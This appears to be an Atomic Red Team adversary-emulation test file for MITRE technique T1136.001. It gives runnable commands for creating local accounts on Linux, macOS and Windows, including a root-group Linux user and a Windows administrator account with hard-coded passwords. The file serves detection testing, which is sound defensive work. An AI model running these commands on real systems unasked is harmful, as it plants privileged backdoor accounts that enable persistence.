attack_technique: T1136.001
display_name: 'Create Account: Local Account'
atomic_tests:
- name: Create a user account on a Linux system
  auto_generated_guid: 40d8eabd-e394-46f6-8785-b9bfa1d011d2
  description: |
    Create a user via useradd
  supported_platforms:
  - linux
  input_arguments:
    username:
      description: Username of the user to create
      type: String
      default: evil_user
  executor:
    command: |
      useradd -M -N -r -s /bin/bash -c evil_account #{username}
    cleanup_command: |
      userdel #{username}
    name: bash
    elevation_required: true
- name: Create a user account on a MacOS system
  auto_generated_guid: 01993ba5-1da3-4e15-a719-b690d4f0f0b2
  description: |
    Creates a user on a MacOS system with dscl
  supported_platforms:
  - macos
  input_arguments:
    username:
      description: Username of the user to create
      type: String
      default: evil_user
    realname:
      description: "'realname' to record when creating the user"
      type: String
      default: Evil Account
  executor:
    command: |
      dscl . -create /Users/#{username}
      dscl . -create /Users/#{username} UserShell /bin/zsh
      dscl . -create /Users/#{username} RealName "#{realname}"
      dscl . -create /Users/#{username} UniqueID "1010"
      dscl . -create /Users/#{username} PrimaryGroupID 80
      dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username}
    cleanup_command: |
      dscl . -delete /Users/#{username}
    name: bash
    elevation_required: true
- name: Create a new user in a command prompt
  auto_generated_guid: 6657864e-0323-4206-9344-ac9cd7265a4f
  description: |
    Creates a new user in a command prompt. Upon execution, "The command completed successfully." will be displayed. To verify the
    new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_CMD"
  supported_platforms:
  - windows
  input_arguments:
    username:
      description: Username of the user to create
      type: String
      default: T1136.001_CMD
    password:
      description: Password of the user to create
      type: String
      default: T1136.001_CMD!
  executor:
    command: |
      net user /add "#{username}" "#{password}"
    cleanup_command: |
      net user /del "#{username}" >nul 2>&1
    name: command_prompt
    elevation_required: true
- name: Create a new user in PowerShell
  auto_generated_guid: bc8be0ac-475c-4fbf-9b1d-9fffd77afbde
  description: |
    Creates a new user in PowerShell. Upon execution, details about the new account will be displayed in the powershell session. To verify the
    new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_PowerShell"
  supported_platforms:
  - windows
  input_arguments:
    username:
      description: Username of the user to create
      type: String
      default: T1136.001_PowerShell
  executor:
    command: |
      New-LocalUser -Name "#{username}" -NoPassword
    cleanup_command: |
      Remove-LocalUser -Name "#{username}" -ErrorAction Ignore
    name: powershell
    elevation_required: true
- name: Create a new user in Linux with `root` UID and GID.
  auto_generated_guid: a1040a30-d28b-4eda-bd99-bb2861a4616c
  description: |
    Creates a new user in Linux and adds the user to the `root` group. This technique was used by adversaries during the Butter attack campaign.
  supported_platforms:
  - linux
  input_arguments:
    username:
      description: Username of the user to create
      type: String
      default: butter
    password:
      description: Password of the user to create
      type: String
      default: BetterWithButter
  executor:
    command: |
      useradd -g 0 -M -d /root -s /bin/bash #{username}
      if [ $(cat /etc/os-release | grep -i 'Name="ubuntu"') ]; then echo "#{username}:#{password}" | sudo chpasswd; else echo "#{password}" | passwd --stdin #{username}; fi;
    cleanup_command: |
      userdel #{username}
    name: bash
    elevation_required: true
- name: Create a new Windows admin user
  auto_generated_guid: fda74566-a604-4581-a4cc-fbbe21d66559
  description: |
    Creates a new admin user in a command prompt.
  supported_platforms:
  - windows
  input_arguments:
    username:
      description: Username of the user to create
      type: String
      default: T1136.001_Admin
    password:
      description: Password of the user to create
      type: String
      default: T1136_pass
  executor:
    command: |
      net user /add "#{username}" "#{password}"
      net localgroup administrators "#{username}" /add
    cleanup_command: |
      net user /del "#{username}" >nul 2>&1
    name: command_prompt
    elevation_required: true
